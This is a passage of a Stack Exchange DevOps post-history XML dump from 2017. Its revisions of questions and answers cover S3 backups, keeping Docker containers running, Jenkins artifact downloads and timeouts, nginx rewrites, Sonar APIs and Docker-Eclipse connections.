  <row Id="7232" PostHistoryTypeId="5" PostId="2275" RevisionGUID="ce201a51-30f2-40ac-97ac-753212310106" CreationDate="2017-10-12T08:45:55.043" UserId="887" Comment="added 87 characters in body" Text="I would like to know how people are making external backups of **S3** buckets and best practices/recommendations for this. &#xD;&#xA;&gt;Especially on a more corporate scale, vast amounts of buckets that are very large.&#xD;&#xA;&#xD;&#xA;The **S3** buckets functionality seems to be very limited.&#xD;&#xA;&#xD;&#xA;&gt; I have resolved this with the following, **but I still want to know&#xD;&#xA;&gt; how other people tackle this issue:**&#xD;&#xA;&#xD;&#xA;The way I'm looking at doing this now is by downloading the data to an external server (**bare-metal** as **EC2** instance is a lot more expensive) and then pushing that to my backups provider.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7233" PostHistoryTypeId="5" PostId="2275" RevisionGUID="de4a159c-0d2a-4292-8728-454f509571bf" CreationDate="2017-10-12T08:51:56.030" UserId="887" Comment="added 87 characters in body" Text="I would like to know how everyone is making external backups of **S3** buckets and best practices/recommendations for this. &#xD;&#xA;&#xD;&#xA;    Especially on a more corporate scale, vast amounts of buckets that are very large.&#xD;&#xA;&#xD;&#xA;The **S3** buckets functionality seems to be very limited.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My resolution was the following:&#xD;&#xA;&gt; The way I'm looking at doing this now is by downloading the data to an external server (**bare-metal** as **EC2** instance is a lot more expensive) and then pushing that to my backups provider.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7234" PostHistoryTypeId="2" PostId="2299" RevisionGUID="ead26c6d-097a-4979-af9a-fb86ba0d3602" CreationDate="2017-10-12T11:29:06.523" UserId="3752" Text="You should keep at lest one service running in foreground to keep the container running, there is two way to do that using `ENTRYPOINT` or `CMD` or both for more info check [this][1].&#xD;&#xA;You can also use docker image for pm2 from docker hub, that will save your time and you can check the Dockerfile for it and see how it is written.&#xD;&#xA;you check [this][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ctl.io/developers/blog/post/dockerfile-entrypoint-vs-cmd/&#xD;&#xA;  [2]: https://hub.docker.com/r/keymetrics/pm2-docker-alpine/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7235" PostHistoryTypeId="2" PostId="2300" RevisionGUID="327774a9-3104-4593-949e-9e65fa081762" CreationDate="2017-10-12T12:40:08.020" UserId="192" Text="To give visability to the error messages mount a volume to your container so after it crashes the logs are available ... problem otherwise is once crashed the logs go away ... for example this docker-compose.yaml excerpt is how to mount a volume&#xD;&#xA;&#xD;&#xA;	  nodejs-enduser:&#xD;&#xA;	    image: your-image-name&#xD;&#xA;	    restart: always&#xD;&#xA;	    volumes:&#xD;&#xA;	      - /pathA:/pathB  &#xD;&#xA;&#xD;&#xA;pathA is full path to some logging dir on host where container is launched from&#xD;&#xA;&#xD;&#xA;pathB is path processes write to from inside container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you wrap your docker launch using something like supervisord then its config defines where standard out / stderr are written to ... then the app inside the container just writes to stdout / stderr and then supervisord config defines stdout to map to /pathB&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7236" PostHistoryTypeId="5" PostId="2300" RevisionGUID="5c94c058-e40d-4385-ad03-fc164a7cd2fa" CreationDate="2017-10-12T12:56:46.097" UserId="192" Comment="added 1062 characters in body" Text="To give visability to the error messages mount a volume to your container so after it crashes the logs are available ... problem otherwise is once crashed the logs go away ... for example this docker-compose.yaml excerpt is how to mount a volume&#xD;&#xA;&#xD;&#xA;	  nodejs-enduser:&#xD;&#xA;	    image: your-image-name&#xD;&#xA;	    restart: always&#xD;&#xA;	    volumes:&#xD;&#xA;	      - /pathA:/pathB  &#xD;&#xA;&#xD;&#xA;pathA is full path to some logging dir on host where container is launched from&#xD;&#xA;&#xD;&#xA;pathB is path processes write to from inside container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you wrap your docker launch using something like supervisord then its config defines where standard out / stderr are written to ... that is  /pathB  ... then the app inside the container just writes to stdout / stderr &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Alternative approach is to spin up an empty container then once running you log into it using `docker exec -ti container-id bash`  Once inside you then manually issue your Dockerfile commands to install and execute the app ( nodejs ) where you can then see the errors as they happen ... here is the Dockerfile for this do nothing container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	FROM ubuntu:16.04&#xD;&#xA;&#xD;&#xA;	ENV TERM linux&#xD;&#xA;	ENV DEBIAN_FRONTEND noninteractive&#xD;&#xA;&#xD;&#xA;	RUN apt-get update&#xD;&#xA;	RUN apt-get install -y wget  curl   net-tools&#xD;&#xA;&#xD;&#xA;	# COPY .bashrc /root/&#xD;&#xA;    #  issue your code COPY steps here &#xD;&#xA;&#xD;&#xA;	CMD [&quot;/bin/bash&quot;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;now build above Dockerfile&#xD;&#xA;&#xD;&#xA;    docker build --tag stens_ubuntu .&#xD;&#xA;&#xD;&#xA;and run&#xD;&#xA;&#xD;&#xA;    docker run -d  stens_ubuntu  sleep infinity&#xD;&#xA;&#xD;&#xA;now log into it&#xD;&#xA;&#xD;&#xA;    docker exec -it $( docker ps | grep stens_ubuntu | cut -d' ' -f1 )  bash&#xD;&#xA;&#xD;&#xA;here you are at the command prompt inside the running container where you now issue whichever commands you need to run your normal app as listed in your original Dockerfile   ... beauty is now you are interactively seeing the error happen ... until it crashes however the messages will be shown&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7237" PostHistoryTypeId="5" PostId="2300" RevisionGUID="cb394170-f940-4ee1-9e34-34f4547f9f05" CreationDate="2017-10-12T13:02:44.267" UserId="192" Comment="added 17 characters in body" Text="To give visability to the error messages mount a volume to your container so after it crashes the logs are available ... problem otherwise is once crashed the logs go away ... for example this docker-compose.yaml excerpt is how to mount a volume&#xD;&#xA;&#xD;&#xA;	  nodejs-enduser:&#xD;&#xA;	    image: your-image-name&#xD;&#xA;	    restart: always&#xD;&#xA;	    volumes:&#xD;&#xA;	      - /pathA:/pathB  &#xD;&#xA;&#xD;&#xA;pathA is full path to some logging dir on host where container is launched from&#xD;&#xA;&#xD;&#xA;pathB is path processes write to from inside container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you wrap your docker launch using something like supervisord then its config defines where standard out / stderr are written to ... that is  /pathB  ... then the app inside the container just writes to stdout / stderr &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Alternative approach is to spin up an empty container then once running you log into it using `docker exec -ti container-id bash`  Once inside you then manually issue your Dockerfile commands to install and execute the app ( nodejs ) where you can then see the errors as they happen ... here is the Dockerfile for this do nothing container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	FROM ubuntu:16.04&#xD;&#xA;&#xD;&#xA;	ENV TERM linux&#xD;&#xA;	ENV DEBIAN_FRONTEND noninteractive&#xD;&#xA;&#xD;&#xA;	RUN apt-get update&#xD;&#xA;	RUN apt-get install -y wget  curl   net-tools&#xD;&#xA;&#xD;&#xA;	# COPY .bashrc /root/&#xD;&#xA;    #  list your normal Dockerfile code COPY steps here &#xD;&#xA;&#xD;&#xA;	CMD [&quot;/bin/bash&quot;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;now build above Dockerfile&#xD;&#xA;&#xD;&#xA;    docker build --tag stens_ubuntu .&#xD;&#xA;&#xD;&#xA;and run&#xD;&#xA;&#xD;&#xA;    docker run -d  stens_ubuntu  sleep infinity&#xD;&#xA;&#xD;&#xA;now log into it&#xD;&#xA;&#xD;&#xA;    docker exec -it $( docker ps | grep stens_ubuntu | cut -d' ' -f1 )  bash&#xD;&#xA;&#xD;&#xA;here you are at the command prompt inside the running container where you now issue whichever commands you need to run your normal app as listed in your original Dockerfile   ... beauty is now you are interactively seeing the error happen ... until it crashes however the messages will be shown&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7238" PostHistoryTypeId="5" PostId="950" RevisionGUID="5f8bab3b-c024-4ee4-ba92-a5fb4f50ba58" CreationDate="2017-10-12T13:58:41.350" UserId="1202" Comment="added 3 characters in body" Text="Sadly I just switched jobs and I don't have access to a Jenkins instance (least not yet) so I cannot try it out for you.&#xD;&#xA;&#xD;&#xA;That said some ideas quickly jump in my mind that could get you there.&#xD;&#xA;&#xD;&#xA;I've had some success with the [conditional build step][1] plugin though I don't know if it would work for build timeouts.  &#xD;&#xA;&#xD;&#xA;If not directly perhaps as a means to change some values through the rest API ? Maybe using job [parameters][2] ? You could also split the job in two and call the appropriate one (with or without timeout) using a conditional build step (mentioned above)...&#xD;&#xA;&#xD;&#xA;If you are int a pipeline you could use the timeout in a jenkins file.&#xD;&#xA;https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#code-timeout-code-enforce-time-limit.&#xD;&#xA;&#xD;&#xA;let me know if any of this is helping you.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Conditional+BuildStep+Plugin&#xD;&#xA;  [2]: https://wiki.jenkins-ci.org/display/JENKINS/Parameterized+Build" ContentLicense="CC BY-SA 3.0" />
  <row Id="7239" PostHistoryTypeId="2" PostId="2301" RevisionGUID="25a6792e-dddf-4fb7-80c2-db0b9733fce5" CreationDate="2017-10-12T17:09:21.970" UserId="3009" Text="Docker monitor the process started by ENTRYPOINT or CMD and since you don’t have such entry in your Dockerfile your container will terminate early in it’s lifcycle. Also be aware that the processes that are started via ENTRYPOINT or CMD should run in **foreground**, not started as a daemon." ContentLicense="CC BY-SA 3.0" />
  <row Id="7240" PostHistoryTypeId="5" PostId="2299" RevisionGUID="288b863a-95c9-4eb3-a115-124478eab93a" CreationDate="2017-10-12T18:10:59.173" UserId="47" Comment="improved readability" Text="You should keep at least one service running in foreground to keep the container running, you can do that using `ENTRYPOINT` or `CMD` or both. For more info check [Dockerfile: ENTRYPOINT vs CMD][1].&#xD;&#xA;&#xD;&#xA;You can also use a docker image for pm2 from docker hub, that will save your time and you can check the Dockerfile for it to see how it is written.&#xD;&#xA;Check [the keymetrics/pm2-docker-alpine project][2], for example.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ctl.io/developers/blog/post/dockerfile-entrypoint-vs-cmd/&#xD;&#xA;  [2]: https://hub.docker.com/r/keymetrics/pm2-docker-alpine/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7241" PostHistoryTypeId="5" PostId="2301" RevisionGUID="5e9a194b-ab61-4fb3-bef2-7ee37bb010b9" CreationDate="2017-10-12T18:11:54.943" UserId="47" Comment="improved readability" Text="Docker monitors the process started by ENTRYPOINT or CMD and since you don’t have such entry in your Dockerfile your container will terminate early in its lifecycle. &#xD;&#xA;&#xD;&#xA;Also be aware that the processes that are started via ENTRYPOINT or CMD should run in **foreground**, not started as a daemon." ContentLicense="CC BY-SA 3.0" />
  <row Id="7244" PostHistoryTypeId="2" PostId="2302" RevisionGUID="0a6b3842-950e-4cb9-a33b-804bca91929d" CreationDate="2017-10-13T00:24:24.353" UserId="739" Text="Docker gets lots of press and blog mentions which leads to developers getting interested in using it.  For some people it is the interest in playing with a new technology or understanding how things work.  For others it is a desire to add keywords to their resume.  Either way, the more developers know about how things work and how they get deployed the less surprised they will be later.  From what I've seen there's a decent amount of pre-existing interest in this so it shouldn't be that hard to encourage it further." ContentLicense="CC BY-SA 3.0" />
  <row Id="7245" PostHistoryTypeId="2" PostId="2303" RevisionGUID="40e4b223-3af5-47a2-9542-2dc80f132f64" CreationDate="2017-10-13T05:12:41.383" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7246" PostHistoryTypeId="1" PostId="2303" RevisionGUID="40e4b223-3af5-47a2-9542-2dc80f132f64" CreationDate="2017-10-13T05:12:41.383" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7247" PostHistoryTypeId="2" PostId="2304" RevisionGUID="d382bb70-165a-4d4a-8a04-d7b0665e48de" CreationDate="2017-10-13T05:12:41.383" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7248" PostHistoryTypeId="1" PostId="2304" RevisionGUID="d382bb70-165a-4d4a-8a04-d7b0665e48de" CreationDate="2017-10-13T05:12:41.383" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7249" PostHistoryTypeId="2" PostId="2305" RevisionGUID="8540b42c-bc8f-4753-8290-2a775dee6dbd" CreationDate="2017-10-13T05:23:29.947" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7250" PostHistoryTypeId="1" PostId="2305" RevisionGUID="8540b42c-bc8f-4753-8290-2a775dee6dbd" CreationDate="2017-10-13T05:23:29.947" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7251" PostHistoryTypeId="2" PostId="2306" RevisionGUID="46549836-9daf-423e-8473-4b662364b6aa" CreationDate="2017-10-13T05:23:29.947" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7252" PostHistoryTypeId="1" PostId="2306" RevisionGUID="46549836-9daf-423e-8473-4b662364b6aa" CreationDate="2017-10-13T05:23:29.947" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7253" PostHistoryTypeId="2" PostId="2307" RevisionGUID="7478595c-eacd-4c6d-a853-e46bc9d1acb5" CreationDate="2017-10-13T05:26:38.143" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7254" PostHistoryTypeId="1" PostId="2307" RevisionGUID="7478595c-eacd-4c6d-a853-e46bc9d1acb5" CreationDate="2017-10-13T05:26:38.143" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7255" PostHistoryTypeId="2" PostId="2308" RevisionGUID="b5f53db7-77a6-43c0-92a9-fd5919bbf175" CreationDate="2017-10-13T05:26:38.143" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7256" PostHistoryTypeId="1" PostId="2308" RevisionGUID="b5f53db7-77a6-43c0-92a9-fd5919bbf175" CreationDate="2017-10-13T05:26:38.143" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7257" PostHistoryTypeId="5" PostId="2298" RevisionGUID="c5bf25c4-953b-4e16-ae91-f1e56c418030" CreationDate="2017-10-13T05:27:08.740" UserId="60" Comment="Improved formatting" Text="In our Jenkins pipeline, we have a step for Sonar analysis (configured with QualityGate profiles) and the current process is:&#xD;&#xA;&#xD;&#xA; &gt; Sonar scanner runs as part of the pipeline step and initiates a task&#xD;&#xA; &gt; Wait for task to complete (https://mycompany.sonarqube.com/api/ce/task?id=AV8Jfnt0WkeTJL_PsTCU)&#xD;&#xA; &gt; Fetch the corresponding AnalysisID for the above task (by doing 'GET' on above URL)&#xD;&#xA; &gt; Doing a 'GET' on the analysis-ID URL shows the metrics of violations ( https://mycompany.sonarqube.com/api/qualitygates/project_status?analysisId=ANALYSIS_ID )&#xD;&#xA;&#xD;&#xA;What we ideally want is to get the list of files which are causing these violations. I am not able to locate any API which gives this information.&#xD;&#xA;&#xD;&#xA;Any idea how we can get the list of source-code files causing violations? &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7258" PostHistoryTypeId="24" PostId="2298" RevisionGUID="c5bf25c4-953b-4e16-ae91-f1e56c418030" CreationDate="2017-10-13T05:27:08.740" Comment="Proposed by 60 approved by 40, 47 edit id of 485" ContentLicense="CC BY-SA 3.0" />
  <row Id="7259" PostHistoryTypeId="2" PostId="2309" RevisionGUID="5a83b77a-9dca-41cf-93b5-8e05022a3999" CreationDate="2017-10-13T06:11:17.183" UserId="4730" Text="I recently spun up a new Jenkins instance and installed the [Google Login Plugin][1] for authentication via Google. I would like to download build artifacts to servers using a shell script, basically curl or wget, but cannot authenticate properly from command line.&#xD;&#xA;&#xD;&#xA;I tried the following `wget` command without success.&#xD;&#xA;&#xD;&#xA;    wget --auth-no-challenge --http-user=XXXX --http-password=XXXX https://____/job/_____/lastSuccessfulBuild/artifact/target/ROOT.war&#xD;&#xA;&#xD;&#xA;I also tried the same without `http-`:&#xD;&#xA;&#xD;&#xA;    wget --auth-no-challenge --user=XXXX --password=XXXX https://____/job/_____/lastSuccessfulBuild/artifact/target/ROOT.war&#xD;&#xA;&#xD;&#xA;The response is always&#xD;&#xA;&#xD;&#xA;    401 Invalid password/token for user: XXXX&#xD;&#xA;&#xD;&#xA;Does anyone have experience with this plugin or in general just downloading from an OAuth-protected endpoint?&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Google+Login+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="7260" PostHistoryTypeId="1" PostId="2309" RevisionGUID="5a83b77a-9dca-41cf-93b5-8e05022a3999" CreationDate="2017-10-13T06:11:17.183" UserId="4730" Text="How can I download an artifact from Jenkins using the Google Login Plugin?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7261" PostHistoryTypeId="3" PostId="2309" RevisionGUID="5a83b77a-9dca-41cf-93b5-8e05022a3999" CreationDate="2017-10-13T06:11:17.183" UserId="4730" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7262" PostHistoryTypeId="5" PostId="2309" RevisionGUID="126747d6-50b9-4129-9045-14cad54705a9" CreationDate="2017-10-13T06:44:55.197" UserId="4730" Comment="mentioned apache post" Text="I recently spun up a new Jenkins instance and installed the [Google Login Plugin][1] for authentication via Google. I would like to download build artifacts to servers using a shell script, basically curl or wget, but cannot authenticate properly from command line.&#xD;&#xA;&#xD;&#xA;I tried the following `wget` command without success.&#xD;&#xA;&#xD;&#xA;    wget --auth-no-challenge --http-user=XXXX --http-password=XXXX https://____/job/_____/lastSuccessfulBuild/artifact/target/ROOT.war&#xD;&#xA;&#xD;&#xA;I also tried the same without `http-`:&#xD;&#xA;&#xD;&#xA;    wget --auth-no-challenge --user=XXXX --password=XXXX https://____/job/_____/lastSuccessfulBuild/artifact/target/ROOT.war&#xD;&#xA;&#xD;&#xA;The response is always&#xD;&#xA;&#xD;&#xA;    401 Invalid password/token for user: XXXX&#xD;&#xA;&#xD;&#xA;I attempted to follow [this post][2] but ran into an issue.&#xD;&#xA;&#xD;&#xA;I have seen [this workaround][3], but it seems like I'd be adding a security hole.&#xD;&#xA;&#xD;&#xA;Does anyone have experience with this plugin or in general just downloading from an OAuth-protected endpoint?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Google+Login+Plugin&#xD;&#xA;  [2]: https://stackoverflow.com/questions/18244110/use-bash-curl-with-oauth-to-return-google-apps-user-account-data/18260206#18260206&#xD;&#xA;  [3]: http://blog.backslasher.net/downloading-artifacts-from-jenkins-with-authentication.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7263" PostHistoryTypeId="2" PostId="2310" RevisionGUID="f538f3f8-ba98-427f-9ad1-4186b45a8d23" CreationDate="2017-10-13T07:43:46.297" UserId="4732" Text="In my Jenkins pipeline, I can get change logs of the current build by this.&#xD;&#xA;&#xD;&#xA;    def changeLogSets = currentBuild.changeSets&#xD;&#xA;&#xD;&#xA;Is there a way to get all change-logs since last successful build? " ContentLicense="CC BY-SA 3.0" />
  <row Id="7264" PostHistoryTypeId="1" PostId="2310" RevisionGUID="f538f3f8-ba98-427f-9ad1-4186b45a8d23" CreationDate="2017-10-13T07:43:46.297" UserId="4732" Text="Get all change logs of since last successful build in Jenkins Pipeline" ContentLicense="CC BY-SA 3.0" />
  <row Id="7265" PostHistoryTypeId="3" PostId="2310" RevisionGUID="f538f3f8-ba98-427f-9ad1-4186b45a8d23" CreationDate="2017-10-13T07:43:46.297" UserId="4732" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7266" PostHistoryTypeId="5" PostId="2308" RevisionGUID="de6cd90f-10d6-4a74-a9ef-40d12c4e2f10" CreationDate="2017-10-13T08:12:12.437" UserId="47" Comment="added 64 characters in body" Text="For questions about Google Cloud Platform products and services." ContentLicense="CC BY-SA 3.0" />
  <row Id="7267" PostHistoryTypeId="24" PostId="2308" RevisionGUID="de6cd90f-10d6-4a74-a9ef-40d12c4e2f10" CreationDate="2017-10-13T08:12:12.437" Comment="Proposed by 47 approved by 40, 13 edit id of 490" ContentLicense="CC BY-SA 3.0" />
  <row Id="7268" PostHistoryTypeId="5" PostId="2304" RevisionGUID="81622922-dbfa-4e3e-8f66-627248a459cd" CreationDate="2017-10-13T08:12:20.530" UserId="47" Comment="added 116 characters in body" Text="For questions about Jenkinsfiles which are version-controlled text files containing definitions of Jenkins Pipelines" ContentLicense="CC BY-SA 3.0" />
  <row Id="7269" PostHistoryTypeId="24" PostId="2304" RevisionGUID="81622922-dbfa-4e3e-8f66-627248a459cd" CreationDate="2017-10-13T08:12:20.530" Comment="Proposed by 47 approved by 40, 13 edit id of 487" ContentLicense="CC BY-SA 3.0" />
  <row Id="7270" PostHistoryTypeId="10" PostId="1852" RevisionGUID="f42032fe-056e-4256-ac29-8098de2351ed" CreationDate="2017-10-13T08:38:47.050" UserId="13" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="7278" PostHistoryTypeId="2" PostId="2312" RevisionGUID="52462520-13f8-4404-873f-66b5b0e308df" CreationDate="2017-10-13T13:24:22.387" UserId="4740" Text="I want both http://domain/foo and http://domain/foo/ requests to serve a given resource. &#xD;&#xA;Here's the relevant part:&#xD;&#xA;&#xD;&#xA;```        location / {&#xD;&#xA;                rewrite /(.*) /ipns/QmdpoFuwY/$1 break;&#xD;&#xA;                proxy_pass http://127.0.0.1:8080;&#xD;&#xA;        }&#xD;&#xA;```&#xD;&#xA;                                                                                                                                                                                       &#xD;&#xA;with this config only:&#xD;&#xA;```&#xD;&#xA;curl -X GET http://domain.io/foo/&#xD;&#xA;```&#xD;&#xA;returns a resource while:&#xD;&#xA;```&#xD;&#xA;curl -X GET http://domain.io/foo&#xD;&#xA;```&#xD;&#xA;gives a Path Resolve error.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7279" PostHistoryTypeId="1" PostId="2312" RevisionGUID="52462520-13f8-4404-873f-66b5b0e308df" CreationDate="2017-10-13T13:24:22.387" UserId="4740" Text="Nginx /foo and /foo/ redirects" ContentLicense="CC BY-SA 3.0" />
  <row Id="7280" PostHistoryTypeId="3" PostId="2312" RevisionGUID="52462520-13f8-4404-873f-66b5b0e308df" CreationDate="2017-10-13T13:24:22.387" UserId="4740" Text="&lt;amazon-ec2&gt;&lt;servers&gt;&lt;http&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7281" PostHistoryTypeId="5" PostId="2312" RevisionGUID="e471fb67-bbee-477c-9aef-3492d92925f1" CreationDate="2017-10-13T15:03:48.470" UserId="739" Comment="cleaner formatting" Text="I want both http://domain/foo and http://domain/foo/ requests to serve a given resource. &#xD;&#xA;Here's the relevant part:&#xD;&#xA;&#xD;&#xA;    location / {&#xD;&#xA;           rewrite /(.*) /ipns/QmdpoFuwY/$1 break;&#xD;&#xA;           proxy_pass http://127.0.0.1:8080;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;                                                                                                                                                                                       &#xD;&#xA;with this config only:&#xD;&#xA;&#xD;&#xA;    curl -X GET http://domain.io/foo/&#xD;&#xA;&#xD;&#xA;returns a resource while:&#xD;&#xA;&#xD;&#xA;    curl -X GET http://domain.io/foo&#xD;&#xA;&#xD;&#xA;gives a `Path Resolve` error.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7282" PostHistoryTypeId="24" PostId="2312" RevisionGUID="e471fb67-bbee-477c-9aef-3492d92925f1" CreationDate="2017-10-13T15:03:48.470" Comment="Proposed by 739 approved by 40, 13 edit id of 491" ContentLicense="CC BY-SA 3.0" />
  <row Id="7283" PostHistoryTypeId="2" PostId="2313" RevisionGUID="5a9eaf67-d134-4714-8960-def501714933" CreationDate="2017-10-13T19:16:17.307" UserId="960" Text="The way we handle this is to run our alerts through Sensu first. You can [configure a Sensu check to require multiple failures to alert](https://devops.stackexchange.com/q/1322/960), and then also configure the check's notify to get sent to PagerDuty. This way, by the time PagerDuty hears about it (and pages you), it has already passed the &quot;N failures in a row&quot; criteria.&#xA;&#xA;If you need to check not for number of failures in a row, but rather N failures across a time range, then that's a good use case for adding elasticsearch or graphite or similar into the mix. Whenever there's a failure, log an error or increment a metric, and then your check can simply look over the time range and see if the aggregate is above the limit." ContentLicense="CC BY-SA 3.0" />
  <row Id="7284" PostHistoryTypeId="2" PostId="2314" RevisionGUID="00d5d71b-d6b0-475e-8bbc-b974d81aff5c" CreationDate="2017-10-13T19:24:42.323" UserId="960" Text="Modern configuration management tools can do a wide variety of things, so you can certainly use them to manage a PaaS. But it makes more sense to use a tool like [Terraform](https://www.terraform.io/docs/providers/heroku/index.html) to handle provisioning, since that's its specialty." ContentLicense="CC BY-SA 3.0" />
  <row Id="7285" PostHistoryTypeId="2" PostId="2315" RevisionGUID="40739151-504f-4a45-bf64-cb2e5a1cb803" CreationDate="2017-10-13T19:42:56.407" UserId="4747" Text="Here's how I got mine working:&#xD;&#xA;&#xD;&#xA;First of all, check if the Docker daemon is running by clicking on the Task &#xD;&#xA;View button on the taskbar. &#xD;&#xA;&#xD;&#xA;Mouse over the Docker icon and the tooltip should say: Docker is running.&#xD;&#xA;&#xD;&#xA;If it's running, right-click the Docker icon to open the Docker contextual menu and go to Settings.&#xD;&#xA;&#xD;&#xA;In the General Tab, which you will land on by default, Make sure the &#xD;&#xA;&quot;Expose daemon on tcp://localhost:2375 without TLS&quot; checkbox is checked.&#xD;&#xA;(It isn't by default)&#xD;&#xA;&#xD;&#xA;You can now Edit your Docker Connection in Eclipse and do not need to search for a connection name, simply enter how you want to name it (ie. SomeDockerConnection) and check the &quot;TCP Connection&quot; radio button. &#xD;&#xA;&#xD;&#xA;You can enter tcp://localhost:2375 in the URI and click &quot;Test Connection&quot;.&#xD;&#xA;You should see a message appear to confirm that the ping was successful.&#xD;&#xA;&#xD;&#xA;At this point you'll be able to see your containers and images in Eclipse's Docker Explorer perspective.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7286" PostHistoryTypeId="2" PostId="2316" RevisionGUID="67e2b0d2-b7de-4fa1-b1c7-d5b0ebfccd90" CreationDate="2017-10-13T19:46:55.990" UserId="960" Text="There are two general strategies for dealing with traffic surges: increasing capacity and reducing cost.&#xA;&#xA;Increasing capacity means auto-scaling, which everyone was very excited about when public clouds first became available. In its most basic sense, this will boot up more webservers for you based on load and add them to a load balancer, but since can be a pain to manage, there are more automagic solutions as well, like Elastic Beanstalk.&#xA;&#xA;The trouble with automated capacity expansion is that its also automated bill expansion - 10x normal traffic means 10x servers means 10x money you have to pay. That's why, while it's a useful strategy to keep in mind, I think you should always start by seeing how much you can cheat.&#xA;&#xA;By cheat, I mean cache, which rests on the idea that most of the time you can give users slightly out of date data and they won't notice, and that can save you tremendous amounts of time. Imagine that you have a page that you decide it's ok if it's five seconds out of date, and it gets 20 req/s. Without caching, you're running that calculation 1200 times a minute, whereas with caching it's only 12. You can see how this can make a tremendous difference.&#xA;&#xA;There are of course many types of caching, and a successful website will use several of them. But for your use case, there are two pretty good and easy options.&#xA;&#xA;The first is to make the site completely static. This assumes that you can do so, but if you can, then you just have Nginx serve up the html directly, and it can serve *tons* of requests with no sweat.&#xA;&#xA;If you need some level of dynamicity, then doing some full-page caching is a good option. Nginx has some capability to do this, but I really like Varnish because of its flexibility.&#xA;&#xA;Whatever option or options you go with, make sure you do load testing to validate that you've set it up properly; sometimes fixing one spot exposes a new bottleneck." ContentLicense="CC BY-SA 3.0" />
  <row Id="7287" PostHistoryTypeId="5" PostId="2315" RevisionGUID="fba3e650-349d-43d0-ae8e-229d8c1997de" CreationDate="2017-10-13T19:57:01.983" UserId="4747" Comment="added 416 characters in body" Text="Under Windows 10, you'll find the Docker Machine (docker-machine.exe) under:&#xD;&#xA;&#xD;&#xA;C:\Program Files\Docker\Docker\resources\bin&#xD;&#xA;&#xD;&#xA;This is the value you need to put in the Docker Machine field.&#xD;&#xA;You don't need to change anything for the VM Driver field as VirtualBox doesn't need to be installed when you use Docker for Windows.&#xD;&#xA;&#xD;&#xA;Then you have to edit some setting of the Docker daemon to allow your Eclipse Docker plugin to connect to it:&#xD;&#xA;&#xD;&#xA;First of all, check if the Docker daemon is running by clicking on the Task &#xD;&#xA;View button on the Windows taskbar. &#xD;&#xA;&#xD;&#xA;Mouse over the Docker icon and the tooltip should say: Docker is running.&#xD;&#xA;&#xD;&#xA;If it's running, right-click the Docker icon to open the Docker contextual menu and go to Settings.&#xD;&#xA;&#xD;&#xA;In the General Tab, which you will land on by default, Make sure the &#xD;&#xA;&quot;Expose daemon on tcp://localhost:2375 without TLS&quot; checkbox is checked.&#xD;&#xA;(It isn't by default)&#xD;&#xA;&#xD;&#xA;You can now Edit your Docker Connection in Eclipse and do not need to search for a connection name, simply enter how you want to name it (ie. SomeDockerConnection) and check the &quot;TCP Connection&quot; radio button. &#xD;&#xA;&#xD;&#xA;You can enter tcp://localhost:2375 in the URI and click &quot;Test Connection&quot;.&#xD;&#xA;You should see 